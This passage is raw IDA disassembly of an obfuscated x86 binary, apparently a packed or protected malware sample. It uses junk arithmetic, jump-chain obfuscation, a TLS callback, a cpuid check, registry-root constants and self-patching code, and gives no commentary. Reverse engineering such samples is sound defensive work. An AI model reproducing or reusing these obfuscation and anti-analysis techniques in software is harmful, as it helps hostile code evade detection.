		jnz	loc_42B4E8
		jmp	loc_42A5A8
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429459


loc_42C187:				; CODE XREF: sub_429459:loc_42D516j
		jl	loc_426A33


loc_42C18D:				; CODE XREF: sub_42C01B+11j
		jmp	loc_425C6E
; END OF FUNCTION CHUNK	FOR sub_429459
; ---------------------------------------------------------------------------
		cmp	ebx, 9FDC9789h
		jmp	loc_427C51
; ---------------------------------------------------------------------------


loc_42C19D:				; CODE XREF: wto1jq8f:0042C937j
		xchg	ebx, [esp]
		retn
; ---------------------------------------------------------------------------


loc_42C1A1:				; CODE XREF: wto1jq8f:0042F114j
		jmp	loc_42AE2C
; ---------------------------------------------------------------------------


loc_42C1A6:				; DATA XREF: wto1jq8f:0042C932o
		sub	ebx, 600BAAD3h
		or	ebx, 131C7015h
		xor	ebx, 0DD1C6345h
		add	ebx, ebp
		jmp	loc_429852
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D53B


loc_42C1BF:				; CODE XREF: sub_42D53B:loc_42757Cj
		mov	eax, [ebp-20h]
		call	sub_42D67C
		pop	ecx
		mov	[ebp-20h], eax
; END OF FUNCTION CHUNK	FOR sub_42D53B
; START	OF FUNCTION CHUNK FOR sub_42BE7E


loc_42C1CB:				; CODE XREF: sub_42CB63:loc_4248B8j
					; sub_42CB63-6B1Cj ...
		jns	loc_42C08E
		jmp	loc_42B30B
; END OF FUNCTION CHUNK	FOR sub_42BE7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426144


loc_42C1D6:				; CODE XREF: sub_426144:loc_42F2B8j
		jnz	loc_424CE8
		jmp	loc_424370
; END OF FUNCTION CHUNK	FOR sub_426144
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42970D


loc_42C1E1:				; CODE XREF: sub_42970D:loc_42A980j
		or	eax, eax
		jnz	loc_42FC39
		jmp	loc_42A4A0
; END OF FUNCTION CHUNK	FOR sub_42970D

; =============== S U B	R O U T	I N E =======================================



sub_42C1EE	proc near		; CODE XREF: sub_4262CE+9EBj
					; wto1jq8f:00428426p

; FUNCTION CHUNK AT 0042785E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042EFCA SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	edx, 5B930D43h
		push	eax
		pushf
		push	0AA87D923h
		pop	eax
		add	eax, 6E435791h
		jmp	loc_42EFCA
sub_42C1EE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427F8F


loc_42C20B:				; CODE XREF: sub_427F8F+8j
		push	offset loc_424958
		jmp	nullsub_245
; END OF FUNCTION CHUNK	FOR sub_427F8F
; ---------------------------------------------------------------------------


loc_42C215:				; CODE XREF: wto1jq8f:0042ABECj
		jns	loc_42E5FD

; =============== S U B	R O U T	I N E =======================================



sub_42C21B	proc near		; CODE XREF: TlsCallback_0+B81p

arg_0		= dword	ptr  4

		mov	[esp+0], esi
		pop	esi
		add	ecx, 0D64256D3h
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_42D993
sub_42C21B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_42C22D:				; CODE XREF: sub_429BFF+4129j
		xor	eax, 94B83481h
		jmp	loc_424FE2
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260DB


loc_42C238:				; CODE XREF: sub_4260DB+BB4j
		pop	eax
		xor	eax, 0F6F5EA24h
		add	eax, 595F4518h
		add	eax, ebp
		call	sub_429D4E


loc_42C24C:				; CODE XREF: sub_4278BD+9j
		jmp	loc_42FCE3
; END OF FUNCTION CHUNK	FOR sub_4260DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D69D


loc_42C251:				; CODE XREF: sub_42D69D:loc_42AC62j
		xchg	esi, eax
		push	0F0A46567h
		pop	esi
		xor	esi, 28CEF3E5h
		add	esi, 27D851F3h
; END OF FUNCTION CHUNK	FOR sub_42D69D
; START	OF FUNCTION CHUNK FOR sub_42C0D7


loc_42C265:				; CODE XREF: sub_42C0D7+3E26j
		xchg	esi, [esp+0]
		jmp	loc_42A7BA
; END OF FUNCTION CHUNK	FOR sub_42C0D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42655A


loc_42C26D:				; CODE XREF: sub_42655A+34E4j
		jle	loc_42DBD2
		test	ebx, 0E20BE5AEh
		jmp	loc_429EAB
; END OF FUNCTION CHUNK	FOR sub_42655A
; ---------------------------------------------------------------------------
		add	ebx, ecx
		jmp	loc_42953F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42C285:				; CODE XREF: sub_42C486+2195j
		jnz	loc_42F0EB
		mov	ebp, [edx]
		xor	edx, 66CC6CA8h
		mov	edx, ebx
		jmp	loc_42F0E8
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428CE9


loc_42C29A:				; CODE XREF: sub_428CE9+13j
		call	sub_426C04
		mov	ds:dword_42A748, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_428CE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C507


loc_42C2A5:				; CODE XREF: sub_42C507+1Bj
		jmp	loc_42BF60
; END OF FUNCTION CHUNK	FOR sub_42C507
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A9E


loc_42C2AA:				; CODE XREF: sub_427A9E+6j
		mov	byte ptr [eax],	0C3h
		jmp	loc_424E42
; END OF FUNCTION CHUNK	FOR sub_427A9E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42C2B3:				; CODE XREF: sub_42C486:loc_4240D2j
		jb	loc_42E33B
		sub	eax, 824136DAh
		mov	ebx, ecx
		jmp	loc_42FC10
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------


loc_42C2C6:				; DATA XREF: sub_4282FE+49FBo
		add	edx, ebp
		call	sub_42C01B
; START	OF FUNCTION CHUNK FOR sub_4240DC


loc_42C2CD:				; CODE XREF: sub_4240DC+1C01j
		jmp	loc_427158
; END OF FUNCTION CHUNK	FOR sub_4240DC

; =============== S U B	R O U T	I N E =======================================



sub_42C2D2	proc near		; CODE XREF: sub_42EA31+Cj
		add	esp, 0FFFFFFF4h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-8], 0
		jnz	loc_42E4AD
		push	offset loc_42A2AD
		jmp	locret_426EDC
sub_42C2D2	endp

; ---------------------------------------------------------------------------


loc_42C2EF:				; CODE XREF: wto1jq8f:0042C063j
		and	ecx, ebx
		jnz	loc_42CCCE


loc_42C2F7:				; CODE XREF: wto1jq8f:loc_429DE9j
		call	sub_4272CB
; START	OF FUNCTION CHUNK FOR sub_428A19


loc_42C2FC:				; CODE XREF: sub_428A19:loc_42C15Dj
		push	eax
		push	0FA42CD23h
		add	dword ptr [esp+0], 5BD331Dh
		lea	eax, [ebp-64h]
		push	eax
		push	0F0709A5Dh
		add	dword ptr [esp+0], 0FCF65A3h
		pushf
		jmp	loc_427E7A
; END OF FUNCTION CHUNK	FOR sub_428A19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4294F4


loc_42C31F:				; CODE XREF: sub_4294F4+6734j
		add	edx, ebp
		add	edx, 9E674092h
		pushf
		push	640EFEE5h
		pop	eax
		jmp	loc_42F7F2
; END OF FUNCTION CHUNK	FOR sub_4294F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B3E


loc_42C333:				; CODE XREF: sub_428B3E:loc_42797Cj
		add	ebx, 1DEC48F4h


loc_42C339:				; CODE XREF: sub_426C0C:loc_42D70Cj
		mov	[ebx], edx
		push	offset loc_4291C5
		jmp	loc_42D850
; END OF FUNCTION CHUNK	FOR sub_428B3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42970D


loc_42C345:				; CODE XREF: sub_42970D+1DAj
		jge	loc_42764D
		jnp	loc_428B47
		jmp	loc_4295CE
; END OF FUNCTION CHUNK	FOR sub_42970D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42C356:				; CODE XREF: sub_42506F:loc_42420Bj
					; wto1jq8f:00424220j
		add	edi, 0A4EE1751h
		xchg	edi, [esp+10h+var_10]
		jmp	loc_42F043
; END OF FUNCTION CHUNK	FOR sub_42506F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429471


loc_42C364:				; CODE XREF: sub_429471-B72j
		jnz	loc_42B2C7
		pop	eax
		cmp	eax, edi
		jmp	loc_4260BF
; END OF FUNCTION CHUNK	FOR sub_429471
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FACF


loc_42C372:				; CODE XREF: sub_42FACF-B299j
		xor	eax, ecx
		jmp	loc_42DC03
; END OF FUNCTION CHUNK	FOR sub_42FACF

; =============== S U B	R O U T	I N E =======================================



sub_42C379	proc near		; DATA XREF: sub_4260DB+27E8o
		xor	edx, edx
		cpuid
		push	offset sub_426FD6
		jmp	nullsub_207
sub_42C379	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EFB5


loc_42C387:				; CODE XREF: sub_42EFB5:loc_42B1AAj
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_42ACFC
		or	eax, eax
		jnz	loc_4296AB
		jmp	loc_4265A9
; END OF FUNCTION CHUNK	FOR sub_42EFB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F6A9


loc_42C39D:				; CODE XREF: sub_42F6A9-62F3j
		test	esi, 40000000h
		jmp	loc_424ECE
; END OF FUNCTION CHUNK	FOR sub_42F6A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42C3A8:				; CODE XREF: sub_42E9E8:loc_425F96j
		cmp	dword ptr [ebp-4], 0
		jnz	loc_426AF5


loc_42C3B2:				; CODE XREF: wto1jq8f:0042B76Cj
		jmp	loc_42AC6D
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E83D


loc_42C3B7:				; CODE XREF: sub_42E83D:loc_427FE4j
		add	eax, 6A80F6D8h
		push	eax
		push	esi
		push	0C662E4Bh
		pop	esi
		jmp	loc_4269DB
; END OF FUNCTION CHUNK	FOR sub_42E83D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F23A


loc_42C3CA:				; CODE XREF: sub_42F23A-4F08j
		sbb	ebp, 708C33A6h
		xor	edx, 0F7D59D75h
		mov	esi, [ebp+0]


loc_42C3D9:				; CODE XREF: sub_42F23A:loc_424504j
		mov	eax, 80000002h
		xor	ebx, ebx
		jmp	loc_4288C1
; END OF FUNCTION CHUNK	FOR sub_42F23A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42C3E5:				; CODE XREF: sub_426E98:loc_42DFA7j
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	0
		call	sub_42CA12


loc_42C3F3:				; CODE XREF: sub_42FACF-1EB9j
		jmp	loc_424112
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_42C3F8:				; CODE XREF: sub_426C0C+1B09j
		jmp	loc_42C964
; END OF FUNCTION CHUNK	FOR sub_426C0C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_227. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428333


loc_42C3FE:				; CODE XREF: sub_428333+386j
		jmp	loc_42AFBF
; END OF FUNCTION CHUNK	FOR sub_428333
; ---------------------------------------------------------------------------
		or	edi, eax
		mov	ecx, 37F8AECEh
		jmp	sub_42707F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ACD6


loc_42C40F:				; CODE XREF: sub_42ACD6:loc_42ACDFj
		cmp	byte ptr [eax],	2Eh
		jnz	loc_42CA1E
		mov	eax, [ebp+var_20]
		mov	byte ptr [eax],	64h
		jmp	loc_42E5F5
; END OF FUNCTION CHUNK	FOR sub_42ACD6

; =============== S U B	R O U T	I N E =======================================



sub_42C423	proc near		; CODE XREF: sub_426E98:loc_426EEEp
					; wto1jq8f:0042B72Fj

; FUNCTION CHUNK AT 00427466 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E44A SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [ebp-0Ch]
		mov	[ebp-1Ch], eax
		lea	eax, [ebp-125h]
		mov	[ebp-20h], eax
		jmp	loc_427466
sub_42C423	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42C43B	proc near		; CODE XREF: sub_4292B9-1631p
					; wto1jq8f:0042EC98j

; FUNCTION CHUNK AT 00424455 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00428CE4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C6F4 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	ecx, [ecx]
		push	edx
		pushf
		push	7F3AA739h
		pop	edx
		xor	edx, 7F3AA73Eh
		jmp	loc_42C6F4
sub_42C43B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	offset loc_42ED63
		jmp	locret_42E68B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424D58


loc_42C45E:				; CODE XREF: sub_424D58+6j
		or	eax, eax
		jnz	loc_42A7EF
		call	sub_42E0E6
; END OF FUNCTION CHUNK	FOR sub_424D58
; START	OF FUNCTION CHUNK FOR sub_427A8D


loc_42C46B:				; CODE XREF: sub_427A8D+8262j
		jmp	loc_424A6E
; END OF FUNCTION CHUNK	FOR sub_427A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266B1


loc_42C470:				; CODE XREF: sub_4266B1-CFDj
		jmp	loc_42B285
; END OF FUNCTION CHUNK	FOR sub_4266B1
; ---------------------------------------------------------------------------


loc_42C475:				; CODE XREF: wto1jq8f:loc_42DC99j
		xor	ecx, ebx
		sub	edx, ebx
		cmp	edx, 1CF3C597h
		and	ecx, ebx
		call	sub_4259FF

; =============== S U B	R O U T	I N E =======================================



sub_42C486	proc near		; CODE XREF: sub_429BD3+56B1p
					; wto1jq8f:0042F4EFj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004240C3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004240CD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004242A4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004245C3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042469F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004249ED SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004250A3 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00425BD2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00425E55 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427181 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004276B5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427880 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00427959 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00427981 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004279F3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00427D03 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00427D37 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00427D7D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428807 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004288DE SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042906C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042928E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042955C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042974D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042A0D3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042A1C2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A2C6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A638 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AB3A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042AD77 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042AD95 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0042ADF5 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042BBA1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042BBB9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C285 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042C2B3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042C75A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CBAB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042CEAD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042D088 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D417 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042DA2D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042DB1A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DBF4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DD90 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042DEAE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042E086 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E435 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E602 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042E6AA SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042E7BB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042F0E8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042F7C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F836 SIZE 00000013 BYTES

		xchg	eax, [esp+0]
		pop	eax


loc_42C48A:				; CODE XREF: sub_42DB52:loc_426485j
		and	ecx, 7
		mov	al, 1
		shl	al, cl
		push	87B8393Eh
		jmp	loc_42E086
sub_42C486	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_42C49B:				; CODE XREF: sub_426C0C+8B34j
		jb	loc_426A48
		pop	esi


loc_42C4A2:				; CODE XREF: sub_426C0C:loc_424CDDj
		lea	eax, [ebp-25Ch]
		cmp	dword ptr [eax], 47424454h
		jmp	loc_428179
; END OF FUNCTION CHUNK	FOR sub_426C0C

; =============== S U B	R O U T	I N E =======================================



sub_42C4B3	proc near		; DATA XREF: sub_42F8A7+3o
		push	eax
		lea	eax, sub_42F360
		push	eax
		push	0
		push	0
		call	sub_42F563
		jmp	loc_42D82A
sub_42C4B3	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_182. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_42C4CA:				; CODE XREF: sub_4244EA+749Bj
		jmp	loc_42F65B
; END OF FUNCTION CHUNK	FOR sub_4244EA

; =============== S U B	R O U T	I N E =======================================



sub_42C4CF	proc near		; CODE XREF: wto1jq8f:004267A9j
					; sub_42F6A9-6D0Fp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042D578 SIZE 00000011 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	eax, esi
		xchg	edx, [esp-4+arg_0]
		mov	esi, edx
		pop	edx
		mov	ebp, [eax]
		jmp	loc_42D578
sub_42C4CF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42C4E2	proc near		; DATA XREF: sub_42E1D2+Do

; FUNCTION CHUNK AT 00426451 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429417 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042A398 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042C958 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042CD81 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042ECC0 SIZE 00000005 BYTES

		jnz	loc_42A398
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-4], 4
		jnz	loc_42A398
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_42C958
		mov	eax, [ebp+8]
		jmp	loc_42CD81
sub_42C4E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C507	proc near		; CODE XREF: sub_42D910j

; FUNCTION CHUNK AT 00427F67 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BF60 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0042C2A5 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_42DB0C, 0
		jnz	loc_42BF6F
		call	sub_427A9E
		call	sub_424585
		jmp	loc_42C2A5
sub_42C507	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42C527:				; CODE XREF: sub_429B76:loc_42E635j
		xchg	edi, [esp+8+var_8]
		jmp	sub_42CB36
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------


loc_42C52F:				; DATA XREF: sub_4274BEo
		mov	[esp], eax
		call	sub_42D765
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_42C538:				; CODE XREF: sub_426968+4C5Cj
		jmp	loc_427383
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------


loc_42C53D:				; CODE XREF: wto1jq8f:0042A06Dj
		jmp	sub_429165
; ---------------------------------------------------------------------------


loc_42C542:				; CODE XREF: wto1jq8f:00429C45j
		jmp	loc_42CB88

; =============== S U B	R O U T	I N E =======================================



sub_42C547	proc near		; CODE XREF: sub_429B76+1p
					; wto1jq8f:0042DB69j ...

; FUNCTION CHUNK AT 00425A2C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D20A SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0042DB10 SIZE 00000005 BYTES

		call	sub_4287D0


loc_42C54C:				; DATA XREF: wto1jq8f:0042C833o
		push	eax
		rol	eax, 3


loc_42C550:				; CODE XREF: wto1jq8f:loc_42A0A2j
		push	ecx
		push	0E78D77F4h
		pop	ecx
		jmp	loc_42DB10
sub_42C547	endp

; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_42F33C
		mov	[ecx+0B8h], eax
		pop	ecx
		jmp	loc_42E185
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42C579:				; CODE XREF: sub_42506F+8546j
		jnz	loc_425074
		jmp	loc_425CFF
; END OF FUNCTION CHUNK	FOR sub_42506F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_87. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A8D


loc_42C585:				; CODE XREF: sub_427A8D+25B7j
		jmp	loc_42FA6C
; END OF FUNCTION CHUNK	FOR sub_427A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_42C58A:				; CODE XREF: sub_42A909-586Bj
		jmp	loc_427EEA
; END OF FUNCTION CHUNK	FOR sub_42A909
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_172. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426D4F


loc_42C590:				; CODE XREF: sub_426D4F+4F21j
		jmp	loc_42E8AA
; END OF FUNCTION CHUNK	FOR sub_426D4F

; =============== S U B	R O U T	I N E =======================================



sub_42C595	proc near		; DATA XREF: wto1jq8f:0042A24Co
		push	6D819FAAh
		pop	eax
		add	eax, 436882DBh
		xor	eax, 25549934h
		add	eax, 6A84274Eh
		xchg	eax, [esp+0]
		jmp	sub_429165
sub_42C595	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42C5B6:				; CODE XREF: wto1jq8f:00428A62j
		jmp	locret_427A2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429D2E


loc_42C5BB:				; CODE XREF: sub_429D2E+Aj
		call	sub_4281DD
		sub	eax, ds:dword_42ACF0
		shr	eax, 11h
		jz	loc_42E986
		jmp	loc_424A64
; END OF FUNCTION CHUNK	FOR sub_429D2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E961


loc_42C5D4:				; CODE XREF: sub_42A909:loc_4242E1j
					; sub_42E961:loc_42F1F4j
		mov	edx, [ebp-14h]
		mov	edx, [edx+1Ch]
		add	edx, [ebp-4]
		push	offset loc_4278CC
		jmp	nullsub_166
; END OF FUNCTION CHUNK	FOR sub_42E961
; ---------------------------------------------------------------------------


loc_42C5E7:				; DATA XREF: sub_42CF6A:loc_426020o
		mov	eax, 0E0h
		call	sub_428183
		jmp	loc_426794
; ---------------------------------------------------------------------------


loc_42C5F6:				; CODE XREF: wto1jq8f:0042E15Fj
		jnz	loc_42D569
		call	sub_42CB36
		test	al, al
		jmp	loc_429201
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E83D


loc_42C608:				; CODE XREF: sub_42E83D:loc_4269DBj
		rol	esi, 0Bh
		xor	esi, 31725867h
		push	offset loc_424FFE
		jmp	loc_427A20
; END OF FUNCTION CHUNK	FOR sub_42E83D

; =============== S U B	R O U T	I N E =======================================



sub_42C61B	proc near		; DATA XREF: sub_426313:loc_42DC52o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00427C18 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042AE59 SIZE 00000005 BYTES

		push	ebx
		push	22121368h
		pop	ebx
		and	ebx, 0B3BF2E6Dh


loc_42C628:				; CODE XREF: sub_42ED32:loc_4287A5j
		jnz	loc_427C18


loc_42C62E:				; CODE XREF: sub_42D397-1895j
		jmp	nullsub_67
sub_42C61B	endp

; ---------------------------------------------------------------------------
		and	esi, 59608F85h
		jmp	loc_427C16
; ---------------------------------------------------------------------------
		mov	edx, 277EFE57h
		call	sub_429165
		push	eax
		rol	eax, 0Eh
		push	edi
		push	9B905E81h
; START	OF FUNCTION CHUNK FOR sub_42D9D9


loc_42C652:				; CODE XREF: sub_42D9D9-2D3Ej
		jmp	loc_4289C7
; END OF FUNCTION CHUNK	FOR sub_42D9D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D1A8


loc_42C657:				; CODE XREF: sub_42D1A8:loc_428A9Aj
		cdq
		add	eax, [esp+0]
		call	sub_42606D
; END OF FUNCTION CHUNK	FOR sub_42D1A8
; START	OF FUNCTION CHUNK FOR sub_42DEFF


loc_42C660:				; CODE XREF: sub_42DEFF+16j
		jmp	loc_42C72A
; END OF FUNCTION CHUNK	FOR sub_42DEFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E0FD


loc_42C665:				; CODE XREF: sub_42E0FD-4AE3j
		jmp	loc_42FF5B
; END OF FUNCTION CHUNK	FOR sub_42E0FD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42C66B:				; CODE XREF: sub_426535+38DEj
		jmp	loc_424201
; END OF FUNCTION CHUNK	FOR sub_426535

; =============== S U B	R O U T	I N E =======================================



sub_42C670	proc near		; CODE XREF: wto1jq8f:004296D9j
					; wto1jq8f:00429972p

; FUNCTION CHUNK AT 0042960E SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0042CCE3 SIZE 00000005 BYTES

		mov	[esp+0], ebx
		pop	ebx
		push	edx
		push	0CC65AEBh
		pop	edx
		add	edx, 0F37C95D5h
		jmp	loc_42CCE3
sub_42C670	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F6A9


loc_42C686:				; CODE XREF: sub_42F6A9:loc_42DD6Fj
		mov	eax, 1
		shl	eax, cl
		mov	edx, [ebp-1Ch]
		shr	edx, 3
		jmp	loc_42F458
; END OF FUNCTION CHUNK	FOR sub_42F6A9

; =============== S U B	R O U T	I N E =======================================



sub_42C698	proc near		; CODE XREF: wto1jq8f:00424790j
					; wto1jq8f:0042DA70p

arg_0		= dword	ptr  4

		mov	[esp+0], edx
		pop	edx
		mov	[esp-4+arg_0], eax
		push	edi
		pop	eax
		push	offset loc_42DB6E
		jmp	nullsub_250
sub_42C698	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_160. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266EF


loc_42C6AC:				; CODE XREF: sub_4266EF+7ABFj
		jmp	loc_42BEC6
